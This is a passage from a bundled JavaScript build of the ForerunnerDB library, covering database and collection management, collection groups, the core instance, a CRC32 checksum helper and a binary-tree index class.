this._collate[collection].drop();
// Remove the collection data from the collate object
delete this._collate[collection];
return this;
} else {
throw('No collection name passed to collateRemove() or collection not found!');
}
};
Db.prototype.collection = new Overload({
/**
* Get a collection by name. If the collection does not already exist
* then one is created for that name automatically.
* @func collection
* @memberof Db
* @param {Object} options An options object.
* @returns {Collection}
*/
'object': function (options) {
return this.$main.call(this, options);
},
/**
* Get a collection by name. If the collection does not already exist
* then one is created for that name automatically.
* @func collection
* @memberof Db
* @param {String} collectionName The name of the collection.
* @returns {Collection}
*/
'string': function (collectionName) {
return this.$main.call(this, {
name: collectionName
});
},
/**
* Get a collection by name. If the collection does not already exist
* then one is created for that name automatically.
* @func collection
* @memberof Db
* @param {String} collectionName The name of the collection.
* @param {String} primaryKey Optional primary key to specify the primary key field on the collection
* objects. Defaults to "_id".
* @returns {Collection}
*/
'string, string': function (collectionName, primaryKey) {
return this.$main.call(this, {
name: collectionName,
primaryKey: primaryKey
});
},
/**
* Get a collection by name. If the collection does not already exist
* then one is created for that name automatically.
* @func collection
* @memberof Db
* @param {String} collectionName The name of the collection.
* @param {Object} options An options object.
* @returns {Collection}
*/
'string, object': function (collectionName, options) {
options.name = collectionName;
return this.$main.call(this, options);
},
/**
* Get a collection by name. If the collection does not already exist
* then one is created for that name automatically.
* @func collection
* @memberof Db
* @param {String} collectionName The name of the collection.
* @param {String} primaryKey Optional primary key to specify the primary key field on the collection
* objects. Defaults to "_id".
* @param {Object} options An options object.
* @returns {Collection}
*/
'string, string, object': function (collectionName, primaryKey, options) {
options.name = collectionName;
options.primaryKey = primaryKey;
return this.$main.call(this, options);
},
/**
* The main handler method. This gets called by all the other variants and
* handles the actual logic of the overloaded method.
* @func collection
* @memberof Db
* @param {Object} options An options object.
* @returns {*}
*/
'$main': function (options) {
var name = options.name;
if (name) {
if (!this._collection[name]) {
if (options && options.autoCreate === false) {
if (options && options.throwError !== false) {
throw('ForerunnerDB.Db "' + this.name() + '": Cannot get collection ' + name + ' because it does not exist and auto-create has been disabled!');
}
}
if (this.debug()) {
console.log('Creating collection ' + name);
}
}
this._collection[name] = this._collection[name] || new Collection(name).db(this);
if (options.primaryKey !== undefined) {
this._collection[name].primaryKey(options.primaryKey);
}
return this._collection[name];
} else {
if (!options || (options && options.throwError !== false)) {
throw('ForerunnerDB.Db "' + this.name() + '": Cannot get collection with undefined name!');
}
}
}
});
/**
* Determine if a collection with the passed name already exists.
* @memberof Db
* @param {String} viewName The name of the collection to check for.
* @returns {boolean}
*/
Db.prototype.collectionExists = function (viewName) {
return Boolean(this._collection[viewName]);
};
/**
* Returns an array of collections the DB currently has.
* @memberof Db
* @param {String|RegExp=} search The optional search string or regular expression to use
* to match collection names against.
* @returns {Array} An array of objects containing details of each collection
* the database is currently managing.
*/
Db.prototype.collections = function (search) {
var arr = [],
i;
if (search) {
if (!(search instanceof RegExp)) {
// Turn the search into a regular expression
search = new RegExp(search);
}
}
for (i in this._collection) {
if (this._collection.hasOwnProperty(i)) {
if (search) {
if (search.exec(i)) {
arr.push({
name: i,
count: this._collection[i].count()
});
}
} else {
arr.push({
name: i,
count: this._collection[i].count()
});
}
}
}
arr.sort(function (a, b) {
return a.name.localeCompare(b.name);
});
return arr;
};
Shared.finishModule('Collection');
module.exports = Collection;
},{"./Crc":6,"./IndexBinaryTree":8,"./IndexHashMap":9,"./KeyValueStore":10,"./Metrics":11,"./Overload":22,"./Path":23,"./ReactorIO":24,"./Shared":25}],4:[function(_dereq_,module,exports){
"use strict";
// Import external names locally
var Shared,
Db,
DbInit,
Collection;
Shared = _dereq_('./Shared');
/**
* Creates a new collection group. Collection groups allow single operations to be
* propagated to multiple collections at once. CRUD operations against a collection
* group are in fed to the group's collections. Useful when separating out slightly
* different data into multiple collections but querying as one collection.
* @constructor
*/
var CollectionGroup = function () {
this.init.apply(this, arguments);
};
CollectionGroup.prototype.init = function (name) {
var self = this;
self._name = name;
self._data = new Collection('__FDB__cg_data_' + self._name);
self._collections = [];
self._view = [];
};
Shared.addModule('CollectionGroup', CollectionGroup);
Shared.mixin(CollectionGroup.prototype, 'Mixin.Common');
Shared.mixin(CollectionGroup.prototype, 'Mixin.ChainReactor');
Shared.mixin(CollectionGroup.prototype, 'Mixin.Constants');
Shared.mixin(CollectionGroup.prototype, 'Mixin.Triggers');
Collection = _dereq_('./Collection');
Db = Shared.modules.Db;
DbInit = Shared.modules.Db.prototype.init;
CollectionGroup.prototype.on = function () {
this._data.on.apply(this._data, arguments);
};
CollectionGroup.prototype.off = function () {
this._data.off.apply(this._data, arguments);
};
CollectionGroup.prototype.emit = function () {
this._data.emit.apply(this._data, arguments);
};
/**
* Gets / sets the primary key for this collection group.
* @param {String=} keyName The name of the primary key.
* @returns {*}
*/
CollectionGroup.prototype.primaryKey = function (keyName) {
if (keyName !== undefined) {
this._primaryKey = keyName;
return this;
}
return this._primaryKey;
};
/**
* Gets / sets the current state.
* @param {String=} val The name of the state to set.
* @returns {*}
*/
Shared.synthesize(CollectionGroup.prototype, 'state');
/**
* Gets / sets the db instance the collection group belongs to.
* @param {Db=} db The db instance.
* @returns {*}
*/
Shared.synthesize(CollectionGroup.prototype, 'db');
CollectionGroup.prototype.addCollection = function (collection) {
if (collection) {
if (this._collections.indexOf(collection) === -1) {
//var self = this;
// Check for compatible primary keys
if (this._collections.length) {
if (this._primaryKey !== collection.primaryKey()) {
throw('ForerunnerDB.CollectionGroup "' + this.name() + '": All collections in a collection group must have the same primary key!');
}
} else {
// Set the primary key to the first collection added
this.primaryKey(collection.primaryKey());
}
// Add the collection
this._collections.push(collection);
collection._groups = collection._groups || [];
collection._groups.push(this);
collection.chain(this);
// Hook the collection's drop event to destroy group data
collection.on('drop', function () {
// Remove collection from any group associations
if (collection._groups && collection._groups.length) {
var groupArr = [],
i;
// Copy the group array because if we call removeCollection on a group
// it will alter the groups array of this collection mid-loop!
for (i = 0; i < collection._groups.length; i++) {
groupArr.push(collection._groups[i]);
}
// Loop any groups we are part of and remove ourselves from them
for (i = 0; i < groupArr.length; i++) {
collection._groups[i].removeCollection(collection);
}
}
delete collection._groups;
});
// Add collection's data
this._data.insert(collection.find());
}
}
return this;
};
CollectionGroup.prototype.removeCollection = function (collection) {
if (collection) {
var collectionIndex = this._collections.indexOf(collection),
groupIndex;
if (collectionIndex !== -1) {
collection.unChain(this);
this._collections.splice(collectionIndex, 1);
collection._groups = collection._groups || [];
groupIndex = collection._groups.indexOf(this);
if (groupIndex !== -1) {
collection._groups.splice(groupIndex, 1);
}
collection.off('drop');
}
if (this._collections.length === 0) {
// Wipe the primary key
delete this._primaryKey;
}
}
return this;
};
CollectionGroup.prototype._chainHandler = function (chainPacket) {
//sender = chainPacket.sender;
switch (chainPacket.type) {
case 'setData':
// Decouple the data to ensure we are working with our own copy
chainPacket.data = this.decouple(chainPacket.data);
// Remove old data
this._data.remove(chainPacket.options.oldData);
// Add new data
this._data.insert(chainPacket.data);
break;
case 'insert':
// Decouple the data to ensure we are working with our own copy
chainPacket.data = this.decouple(chainPacket.data);
// Add new data
this._data.insert(chainPacket.data);
break;
case 'update':
// Update data
this._data.update(chainPacket.data.query, chainPacket.data.update, chainPacket.options);
break;
case 'remove':
this._data.remove(chainPacket.data.query, chainPacket.options);
break;
default:
break;
}
};
CollectionGroup.prototype.insert = function () {
this._collectionsRun('insert', arguments);
};
CollectionGroup.prototype.update = function () {
this._collectionsRun('update', arguments);
};
CollectionGroup.prototype.updateById = function () {
this._collectionsRun('updateById', arguments);
};
CollectionGroup.prototype.remove = function () {
this._collectionsRun('remove', arguments);
};
CollectionGroup.prototype._collectionsRun = function (type, args) {
for (var i = 0; i < this._collections.length; i++) {
this._collections[i][type].apply(this._collections[i], args);
}
};
CollectionGroup.prototype.find = function (query, options) {
return this._data.find(query, options);
};
/**
* Helper method that removes a document that matches the given id.
* @param {String} id The id of the document to remove.
*/
CollectionGroup.prototype.removeById = function (id) {
// Loop the collections in this group and apply the remove
for (var i = 0; i < this._collections.length; i++) {
this._collections[i].removeById(id);
}
};
/**
* Uses the passed query to generate a new collection with results
* matching the query parameters.
*
* @param query
* @param options
* @returns {*}
*/
CollectionGroup.prototype.subset = function (query, options) {
var result = this.find(query, options);
return new Collection()
.subsetOf(this)
.primaryKey(this._primaryKey)
.setData(result);
};
/**
* Drops a collection group from the database.
* @returns {boolean} True on success, false on failure.
*/
CollectionGroup.prototype.drop = function () {
if (this._state !== 'dropped') {
var i,
collArr,
viewArr;
if (this._debug) {
console.log('Dropping collection group ' + this._name);
}
this._state = 'dropped';
if (this._collections && this._collections.length) {
collArr = [].concat(this._collections);
for (i = 0; i < collArr.length; i++) {
this.removeCollection(collArr[i]);
}
}
if (this._view && this._view.length) {
viewArr = [].concat(this._view);
for (i = 0; i < viewArr.length; i++) {
this._removeView(viewArr[i]);
}
}
this.emit('drop', this);
}
return true;
};
// Extend DB to include collection groups
Db.prototype.init = function () {
this._collectionGroup = {};
DbInit.apply(this, arguments);
};
Db.prototype.collectionGroup = function (collectionGroupName) {
if (collectionGroupName) {
this._collectionGroup[collectionGroupName] = this._collectionGroup[collectionGroupName] || new CollectionGroup(collectionGroupName).db(this);
return this._collectionGroup[collectionGroupName];
} else {
// Return an object of collection data
return this._collectionGroup;
}
};
/**
* Returns an array of collection groups the DB currently has.
* @returns {Array} An array of objects containing details of each collection group
* the database is currently managing.
*/
Db.prototype.collectionGroups = function () {
var arr = [],
i;
for (i in this._collectionGroup) {
if (this._collectionGroup.hasOwnProperty(i)) {
arr.push({
name: i
});
}
}
return arr;
};
module.exports = CollectionGroup;
},{"./Collection":3,"./Shared":25}],5:[function(_dereq_,module,exports){
/*
License
Copyright (c) 2015 Irrelon Software Limited
http://www.irrelon.com
http://www.forerunnerdb.com
Please visit the license page to see latest license information:
http://www.forerunnerdb.com/licensing.html
*/
"use strict";
var Shared,
Db,
Metrics,
Overload;
Shared = _dereq_('./Shared');
Overload = _dereq_('./Overload');
/**
* Creates a new ForerunnerDB instance. Core instances handle the lifecycle of
* multiple database instances.
* @constructor
*/
var Core = function (name) {
this.init.apply(this, arguments);
};
Core.prototype.init = function (name) {
this._db = {};
this._debug = {};
this._name = name || 'ForerunnerDB';
};
Core.prototype.moduleLoaded = new Overload({
/**
* Checks if a module has been loaded into the database.
* @func moduleLoaded
* @memberof Core
* @param {String} moduleName The name of the module to check for.
* @returns {Boolean} True if the module is loaded, false if not.
*/
'string': function (moduleName) {
if (moduleName !== undefined) {
moduleName = moduleName.replace(/ /g, '');
var modules = moduleName.split(','),
index;
for (index = 0; index < modules.length; index++) {
if (!Shared.modules[modules[index]]) {
return false;
}
}
return true;
}
return false;
},
/**
* Checks if a module is loaded and if so calls the passed
* callback method.
* @func moduleLoaded
* @memberof Core
* @param {String} moduleName The name of the module to check for.
* @param {Function} callback The callback method to call if module is loaded.
*/
'string, function': function (moduleName, callback) {
if (moduleName !== undefined) {
moduleName = moduleName.replace(/ /g, '');
var modules = moduleName.split(','),
index;
for (index = 0; index < modules.length; index++) {
if (!Shared.modules[modules[index]]) {
return false;
}
}
callback();
}
},
/**
* Checks if a module is loaded and if so calls the passed
* success method, otherwise calls the failure method.
* @func moduleLoaded
* @memberof Core
* @param {String} moduleName The name of the module to check for.
* @param {Function} success The callback method to call if module is loaded.
* @param {Function} failure The callback method to call if module not loaded.
*/
'string, function, function': function (moduleName, success, failure) {
if (moduleName !== undefined) {
moduleName = moduleName.replace(/ /g, '');
var modules = moduleName.split(','),
index;
for (index = 0; index < modules.length; index++) {
if (!Shared.modules[modules[index]]) {
failure();
return false;
}
}
success();
}
}
});
/**
* Checks version against the string passed and if it matches (or partially matches)
* then the callback is called.
* @param {String} val The version to check against.
* @param {Function} callback The callback to call if match is true.
* @returns {Boolean}
*/
Core.prototype.version = function (val, callback) {
if (val !== undefined) {
if (Shared.version.indexOf(val) === 0) {
if (callback) { callback(); }
return true;
}
return false;
}
return Shared.version;
};
// Expose moduleLoaded method to non-instantiated object ForerunnerDB
Core.moduleLoaded = Core.prototype.moduleLoaded;
// Expose version method to non-instantiated object ForerunnerDB
Core.version = Core.prototype.version;
// Provide public access to the Shared object
Core.shared = Shared;
Core.prototype.shared = Shared;
Shared.addModule('Core', Core);
Shared.mixin(Core.prototype, 'Mixin.Common');
Shared.mixin(Core.prototype, 'Mixin.Constants');
Db = _dereq_('./Db.js');
Metrics = _dereq_('./Metrics.js');
/**
* Gets / sets the name of the instance. This is primarily used for
* name-spacing persistent storage.
* @param {String=} val The name of the instance to set.
* @returns {*}
*/
Shared.synthesize(Core.prototype, 'name');
// Set a flag to determine environment
Core.prototype._isServer = false;
/**
* Returns true if ForerunnerDB is running on a client browser.
* @returns {boolean}
*/
Core.prototype.isClient = function () {
return !this._isServer;
};
/**
* Returns true if ForerunnerDB is running on a server.
* @returns {boolean}
*/
Core.prototype.isServer = function () {
return this._isServer;
};
/**
* Checks if the database is running on a client (browser) or
* a server (node.js).
* @returns {Boolean} Returns true if running on a browser.
*/
Core.prototype.isClient = function () {
return !this._isServer;
};
/**
* Checks if the database is running on a client (browser) or
* a server (node.js).
* @returns {Boolean} Returns true if running on a server.
*/
Core.prototype.isServer = function () {
return this._isServer;
};
/**
* Added to provide an error message for users who have not seen
* the new instantiation breaking change warning and try to get
* a collection directly from the core instance.
*/
Core.prototype.collection = function () {
throw("ForerunnerDB's instantiation has changed since version 1.3.36 to support multiple database instances. Please see the readme.md file for the minor change you have to make to get your project back up and running, or see the issue related to this change at https://github.com/Irrelon/ForerunnerDB/issues/44");
};
module.exports = Core;
},{"./Db.js":7,"./Metrics.js":11,"./Overload":22,"./Shared":25}],6:[function(_dereq_,module,exports){
"use strict";
/**
* @mixin
*/
var crcTable = (function () {
var crcTable = [],
c, n, k;
for (n = 0; n < 256; n++) {
c = n;
for (k = 0; k < 8; k++) {
c = ((c & 1) ? (0xEDB88320 ^ (c >>> 1)) : (c >>> 1)); // jshint ignore:line
}
crcTable[n] = c;
}
return crcTable;
}());
module.exports = function(str) {
var crc = 0 ^ (-1), // jshint ignore:line
i;
for (i = 0; i < str.length; i++) {
crc = (crc >>> 8) ^ crcTable[(crc ^ str.charCodeAt(i)) & 0xFF]; // jshint ignore:line
}
return (crc ^ (-1)) >>> 0; // jshint ignore:line
};
},{}],7:[function(_dereq_,module,exports){
"use strict";
var Shared,
Core,
Collection,
Metrics,
Crc,
Overload;
Shared = _dereq_('./Shared');
Overload = _dereq_('./Overload');
/**
* Creates a new ForerunnerDB database instance.
* @constructor
*/
var Db = function (name, core) {
this.init.apply(this, arguments);
};
Db.prototype.init = function (name, core) {
this.core(core);
this._primaryKey = '_id';
this._name = name;
this._collection = {};
this._debug = {};
};
Db.prototype.moduleLoaded = new Overload({
/**
* Checks if a module has been loaded into the database.
* @func moduleLoaded
* @memberof Db
* @param {String} moduleName The name of the module to check for.
* @returns {Boolean} True if the module is loaded, false if not.
*/
'string': function (moduleName) {
if (moduleName !== undefined) {
moduleName = moduleName.replace(/ /g, '');
var modules = moduleName.split(','),
index;
for (index = 0; index < modules.length; index++) {
if (!Shared.modules[modules[index]]) {
return false;
}
}
return true;
}
return false;
},
/**
* Checks if a module is loaded and if so calls the passed
* callback method.
* @func moduleLoaded
* @memberof Db
* @param {String} moduleName The name of the module to check for.
* @param {Function} callback The callback method to call if module is loaded.
*/
'string, function': function (moduleName, callback) {
if (moduleName !== undefined) {
moduleName = moduleName.replace(/ /g, '');
var modules = moduleName.split(','),
index;
for (index = 0; index < modules.length; index++) {
if (!Shared.modules[modules[index]]) {
return false;
}
}
callback();
}
},
/**
* Checks if a module is loaded and if so calls the passed
* success method, otherwise calls the failure method.
* @func moduleLoaded
* @memberof Db
* @param {String} moduleName The name of the module to check for.
* @param {Function} success The callback method to call if module is loaded.
* @param {Function} failure The callback method to call if module not loaded.
*/
'string, function, function': function (moduleName, success, failure) {
if (moduleName !== undefined) {
moduleName = moduleName.replace(/ /g, '');
var modules = moduleName.split(','),
index;
for (index = 0; index < modules.length; index++) {
if (!Shared.modules[modules[index]]) {
failure();
return false;
}
}
success();
}
}
});
/**
* Checks version against the string passed and if it matches (or partially matches)
* then the callback is called.
* @param {String} val The version to check against.
* @param {Function} callback The callback to call if match is true.
* @returns {Boolean}
*/
Db.prototype.version = function (val, callback) {
if (val !== undefined) {
if (Shared.version.indexOf(val) === 0) {
if (callback) { callback(); }
return true;
}
return false;
}
return Shared.version;
};
// Expose moduleLoaded method to non-instantiated object ForerunnerDB
Db.moduleLoaded = Db.prototype.moduleLoaded;
// Expose version method to non-instantiated object ForerunnerDB
Db.version = Db.prototype.version;
// Provide public access to the Shared object
Db.shared = Shared;
Db.prototype.shared = Shared;
Shared.addModule('Db', Db);
Shared.mixin(Db.prototype, 'Mixin.Common');
Shared.mixin(Db.prototype, 'Mixin.ChainReactor');
Shared.mixin(Db.prototype, 'Mixin.Constants');
Core = Shared.modules.Core;
Collection = _dereq_('./Collection.js');
Metrics = _dereq_('./Metrics.js');
Crc = _dereq_('./Crc.js');
Db.prototype._isServer = false;
/**
* Gets / sets the core object this database belongs to.
*/
Shared.synthesize(Db.prototype, 'core');
/**
* Gets / sets the default primary key for new collections.
* @param {String=} val The name of the primary key to set.
* @returns {*}
*/
Shared.synthesize(Db.prototype, 'primaryKey');
/**
* Gets / sets the current state.
* @param {String=} val The name of the state to set.
* @returns {*}
*/
Shared.synthesize(Db.prototype, 'state');
/**
* Gets / sets the name of the database.
* @param {String=} val The name of the database to set.
* @returns {*}
*/
Shared.synthesize(Db.prototype, 'name');
/**
* Returns true if ForerunnerDB is running on a client browser.
* @returns {boolean}
*/
Db.prototype.isClient = function () {
return !this._isServer;
};
/**
* Returns true if ForerunnerDB is running on a server.
* @returns {boolean}
*/
Db.prototype.isServer = function () {
return this._isServer;
};
/**
* Returns a checksum of a string.
* @param {String} string The string to checksum.
* @return {String} The checksum generated.
*/
Db.prototype.crc = Crc;
/**
* Checks if the database is running on a client (browser) or
* a server (node.js).
* @returns {Boolean} Returns true if running on a browser.
*/
Db.prototype.isClient = function () {
return !this._isServer;
};
/**
* Checks if the database is running on a client (browser) or
* a server (node.js).
* @returns {Boolean} Returns true if running on a server.
*/
Db.prototype.isServer = function () {
return this._isServer;
};
/**
* Converts a normal javascript array of objects into a DB collection.
* @param {Array} arr An array of objects.
* @returns {Collection} A new collection instance with the data set to the
* array passed.
*/
Db.prototype.arrayToCollection = function (arr) {
return new Collection().setData(arr);
};
/**
* Registers an event listener against an event name.
* @param {String} event The name of the event to listen for.
* @param {Function} listener The listener method to call when
* the event is fired.
* @returns {*}
*/
Db.prototype.on = function(event, listener) {
this._listeners = this._listeners || {};
this._listeners[event] = this._listeners[event] || [];
this._listeners[event].push(listener);
return this;
};
/**
* De-registers an event listener from an event name.
* @param {String} event The name of the event to stop listening for.
* @param {Function} listener The listener method passed to on() when
* registering the event listener.
* @returns {*}
*/
Db.prototype.off = function(event, listener) {
if (event in this._listeners) {
var arr = this._listeners[event],
index = arr.indexOf(listener);
if (index > -1) {
arr.splice(index, 1);
}
}
return this;
};
/**
* Emits an event by name with the given data.
* @param {String} event The name of the event to emit.
* @param {*=} data The data to emit with the event.
* @returns {*}
*/
Db.prototype.emit = function(event, data) {
this._listeners = this._listeners || {};
if (event in this._listeners) {
var arr = this._listeners[event],
arrCount = arr.length,
arrIndex;
for (arrIndex = 0; arrIndex < arrCount; arrIndex++) {
arr[arrIndex].apply(this, Array.prototype.slice.call(arguments, 1));
}
}
return this;
};
/**
* Find all documents across all collections in the database that match the passed
* string or search object.
* @param search String or search object.
* @returns {Array}
*/
Db.prototype.peek = function (search) {
var i,
coll,
arr = [],
typeOfSearch = typeof search;
// Loop collections
for (i in this._collection) {
if (this._collection.hasOwnProperty(i)) {
coll = this._collection[i];
if (typeOfSearch === 'string') {
arr = arr.concat(coll.peek(search));
} else {
arr = arr.concat(coll.find(search));
}
}
}
return arr;
};
/**
* Find all documents across all collections in the database that match the passed
* string or search object and return them in an object where each key is the name
* of the collection that the document was matched in.
* @param search String or search object.
* @returns {object}
*/
Db.prototype.peekCat = function (search) {
var i,
coll,
cat = {},
arr,
typeOfSearch = typeof search;
// Loop collections
for (i in this._collection) {
if (this._collection.hasOwnProperty(i)) {
coll = this._collection[i];
if (typeOfSearch === 'string') {
arr = coll.peek(search);
if (arr && arr.length) {
cat[coll.name()] = arr;
}
} else {
arr = coll.find(search);
if (arr && arr.length) {
cat[coll.name()] = arr;
}
}
}
}
return cat;
};
Db.prototype.drop = new Overload({
/**
* Drops the database.
* @func drop
* @memberof Db
*/
'': function () {
if (this._state !== 'dropped') {
var arr = this.collections(),
arrCount = arr.length,
arrIndex;
this._state = 'dropped';
for (arrIndex = 0; arrIndex < arrCount; arrIndex++) {
this.collection(arr[arrIndex].name).drop();
delete this._collection[arr[arrIndex].name];
}
this.emit('drop', this);
delete this._core._db[this._name];
}
return true;
},
/**
* Drops the database with optional callback method.
* @func drop
* @memberof Db
* @param {Function} callback Optional callback method.
*/
'function': function (callback) {
if (this._state !== 'dropped') {
var arr = this.collections(),
arrCount = arr.length,
arrIndex,
finishCount = 0,
afterDrop = function () {
finishCount++;
if (finishCount === arrCount) {
if (callback) { callback(); }
}
};
this._state = 'dropped';
for (arrIndex = 0; arrIndex < arrCount; arrIndex++) {
this.collection(arr[arrIndex].name).drop(afterDrop);
delete this._collection[arr[arrIndex].name];
}
this.emit('drop', this);
delete this._core._db[this._name];
}
return true;
},
/**
* Drops the database with optional persistent storage drop. Persistent
* storage is dropped by default if no preference is provided.
* @func drop
* @memberof Db
* @param {Boolean} removePersist Drop persistent storage for this database.
*/
'boolean': function (removePersist) {
if (this._state !== 'dropped') {
var arr = this.collections(),
arrCount = arr.length,
arrIndex;
this._state = 'dropped';
for (arrIndex = 0; arrIndex < arrCount; arrIndex++) {
this.collection(arr[arrIndex].name).drop(removePersist);
delete this._collection[arr[arrIndex].name];
}
this.emit('drop', this);
delete this._core._db[this._name];
}
return true;
},
/**
* Drops the database and optionally controls dropping persistent storage
* and callback method.
* @func drop
* @memberof Db
* @param {Boolean} removePersist Drop persistent storage for this database.
* @param {Function} callback Optional callback method.
*/
'boolean, function': function (removePersist, callback) {
if (this._state !== 'dropped') {
var arr = this.collections(),
arrCount = arr.length,
arrIndex,
finishCount = 0,
afterDrop = function () {
finishCount++;
if (finishCount === arrCount) {
if (callback) { callback(); }
}
};
this._state = 'dropped';
for (arrIndex = 0; arrIndex < arrCount; arrIndex++) {
this.collection(arr[arrIndex].name).drop(removePersist, afterDrop);
delete this._collection[arr[arrIndex].name];
}
this.emit('drop', this);
delete this._core._db[this._name];
}
return true;
}
});
/**
* Gets a database instance by name.
* @memberof Core
* @param {String=} name Optional name of the database. If none is provided
* a random name is assigned.
* @returns {Db}
*/
Core.prototype.db = function (name) {
if (!name) {
name = this.objectId();
}
this._db[name] = this._db[name] || new Db(name, this);
return this._db[name];
};
/**
* Returns an array of databases that ForerunnerDB currently has.
* @memberof Core
* @param {String|RegExp=} search The optional search string or regular expression to use
* to match collection names against.
* @returns {Array} An array of objects containing details of each database
* that ForerunnerDB is currently managing and it's child entities.
*/
Core.prototype.databases = function (search) {
var arr = [],
tmpObj,
addDb,
i;
if (search) {
if (!(search instanceof RegExp)) {
// Turn the search into a regular expression
search = new RegExp(search);
}
}
for (i in this._db) {
if (this._db.hasOwnProperty(i)) {
addDb = true;
if (search) {
if (!search.exec(i)) {
addDb = false;
}
}
if (addDb) {
tmpObj = {
name: i,
children: []
};
if (this.shared.moduleExists('Collection')) {
tmpObj.children.push({
module: 'collection',
moduleName: 'Collections',
count: this._db[i].collections().length
});
}
if (this.shared.moduleExists('CollectionGroup')) {
tmpObj.children.push({
module: 'collectionGroup',
moduleName: 'Collection Groups',
count: this._db[i].collectionGroups().length
});
}
if (this.shared.moduleExists('Document')) {
tmpObj.children.push({
module: 'document',
moduleName: 'Documents',
count: this._db[i].documents().length
});
}
if (this.shared.moduleExists('Grid')) {
tmpObj.children.push({
module: 'grid',
moduleName: 'Grids',
count: this._db[i].grids().length
});
}
if (this.shared.moduleExists('Overview')) {
tmpObj.children.push({
module: 'overview',
moduleName: 'Overviews',
count: this._db[i].overviews().length
});
}
if (this.shared.moduleExists('View')) {
tmpObj.children.push({
module: 'view',
moduleName: 'Views',
count: this._db[i].views().length
});
}
arr.push(tmpObj);
}
}
}
arr.sort(function (a, b) {
return a.name.localeCompare(b.name);
});
return arr;
};
module.exports = Db;
},{"./Collection.js":3,"./Crc.js":6,"./Metrics.js":11,"./Overload":22,"./Shared":25}],8:[function(_dereq_,module,exports){
"use strict";
/*
name
id
rebuild
state
match
lookup
*/
var Shared = _dereq_('./Shared'),
Path = _dereq_('./Path'),
btree = function () {};
/**
* The index class used to instantiate hash map indexes that the database can
* use to speed up queries on collections and views.
* @constructor
*/
var IndexBinaryTree = function () {
this.init.apply(this, arguments);
};
IndexBinaryTree.prototype.init = function (keys, options, collection) {
this._btree = new (btree.create(2, this.sortAsc))();
this._size = 0;
this._id = this._itemKeyHash(keys, keys);
this.unique(options && options.unique ? options.unique : false);
if (keys !== undefined) {
this.keys(keys);
}
if (collection !== undefined) {
this.collection(collection);
}
this.name(options && options.name ? options.name : this._id);
};
Shared.addModule('IndexBinaryTree', IndexBinaryTree);
Shared.mixin(IndexBinaryTree.prototype, 'Mixin.ChainReactor');
Shared.mixin(IndexBinaryTree.prototype, 'Mixin.Sorting');
IndexBinaryTree.prototype.id = function () {
return this._id;
};
IndexBinaryTree.prototype.state = function () {
return this._state;
};
IndexBinaryTree.prototype.size = function () {
return this._size;
};
Shared.synthesize(IndexBinaryTree.prototype, 'data');
Shared.synthesize(IndexBinaryTree.prototype, 'name');
Shared.synthesize(IndexBinaryTree.prototype, 'collection');
Shared.synthesize(IndexBinaryTree.prototype, 'type');
Shared.synthesize(IndexBinaryTree.prototype, 'unique');
IndexBinaryTree.prototype.keys = function (val) {
if (val !== undefined) {
this._keys = val;
// Count the keys
this._keyCount = (new Path()).parse(this._keys).length;
return this;
}
return this._keys;
};
IndexBinaryTree.prototype.rebuild = function () {
// Do we have a collection?
if (this._collection) {
// Get sorted data
var collection = this._collection.subset({}, {
$decouple: false,
$orderBy: this._keys
}),
collectionData = collection.find(),
dataIndex,
dataCount = collectionData.length;
// Clear the index data for the index
this._btree = new (btree.create(2, this.sortAsc))();
if (this._unique) {
this._uniqueLookup = {};
}
// Loop the collection data
for (dataIndex = 0; dataIndex < dataCount; dataIndex++) {
this.insert(collectionData[dataIndex]);
}
}
this._state = {
name: this._name,
keys: this._keys,
indexSize: this._size,
built: new Date(),
updated: new Date(),
ok: true
};
};
IndexBinaryTree.prototype.insert = function (dataItem, options) {
var uniqueFlag = this._unique,
uniqueHash,
dataItemHash = this._itemKeyHash(dataItem, this._keys),
keyArr;
if (uniqueFlag) {
uniqueHash = this._itemHash(dataItem, this._keys);
this._uniqueLookup[uniqueHash] = dataItem;
}
// We store multiple items that match a key inside an array
// that is then stored against that key in the tree...
// Check if item exists for this key already
keyArr = this._btree.get(dataItemHash);
// Check if the array exists
if (keyArr === undefined) {
// Generate an array for this key first
keyArr = [];
// Put the new array into the tree under the key
this._btree.put(dataItemHash, keyArr);
}
// Push the item into the array
keyArr.push(dataItem);
this._size++;
};
IndexBinaryTree.prototype.remove = function (dataItem, options) {
var uniqueFlag = this._unique,
uniqueHash,
dataItemHash = this._itemKeyHash(dataItem, this._keys),
keyArr,
itemIndex;
if (uniqueFlag) {
uniqueHash = this._itemHash(dataItem, this._keys);
delete this._uniqueLookup[uniqueHash];
}
// Try and get the array for the item hash key
keyArr = this._btree.get(dataItemHash);
if (keyArr !== undefined) {
// The key array exits, remove the item from the key array
itemIndex = keyArr.indexOf(dataItem);
if (itemIndex > -1) {
// Check the length of the array
if (keyArr.length === 1) {
// This item is the last in the array, just kill the tree entry
this._btree.del(dataItemHash);
} else {
// Remove the item
keyArr.splice(itemIndex, 1);
}
this._size--;
}
}
};
IndexBinaryTree.prototype.violation = function (dataItem) {
// Generate item hash
var uniqueHash = this._itemHash(dataItem, this._keys);
// Check if the item breaks the unique constraint
return Boolean(this._uniqueLookup[uniqueHash]);
};
IndexBinaryTree.prototype.hashViolation = function (uniqueHash) {
// Check if the item breaks the unique constraint
return Boolean(this._uniqueLookup[uniqueHash]);
};
IndexBinaryTree.prototype.lookup = function (query) {
return this._data[this._itemHash(query, this._keys)] || [];
};
IndexBinaryTree.prototype.match = function (query, options) {
// Check if the passed query has data in the keys our index
// operates on and if so, is the query sort matching our order
var pathSolver = new Path();
var indexKeyArr = pathSolver.parseArr(this._keys),
queryArr = pathSolver.parseArr(query),
matchedKeys = [],
matchedKeyCount = 0,
i;
// Loop the query array and check the order of keys against the
// index key array to see if this index can be used
for (i = 0; i < indexKeyArr.length; i++) {
if (queryArr[i] === indexKeyArr[i]) {
matchedKeyCount++;
matchedKeys.push(queryArr[i]);
} else {
// Query match failed - this is a hash map index so partial key match won't work
return {
matchedKeys: [],
totalKeyCount: queryArr.length,
score: 0
};
}
}
return {
matchedKeys: matchedKeys,
totalKeyCount: queryArr.length,
score: matchedKeyCount
};
//return pathSolver.countObjectPaths(this._keys, query);
};
IndexBinaryTree.prototype._itemHash = function (item, keys) {
var path = new Path(),
pathData,
hash = '',
k;
pathData = path.parse(keys);
for (k = 0; k < pathData.length; k++) {
if (hash) { hash += '_'; }
hash += path.value(item, pathData[k].path).join(':');
}
return hash;
};
IndexBinaryTree.prototype._itemKeyHash = function (item, keys) {
var path = new Path(),
pathData,
hash = '',
k;
pathData = path.parse(keys);
for (k = 0; k < pathData.length; k++) {
if (hash) { hash += '_'; }
hash += path.keyValue(item, pathData[k].path);
}
return hash;
};
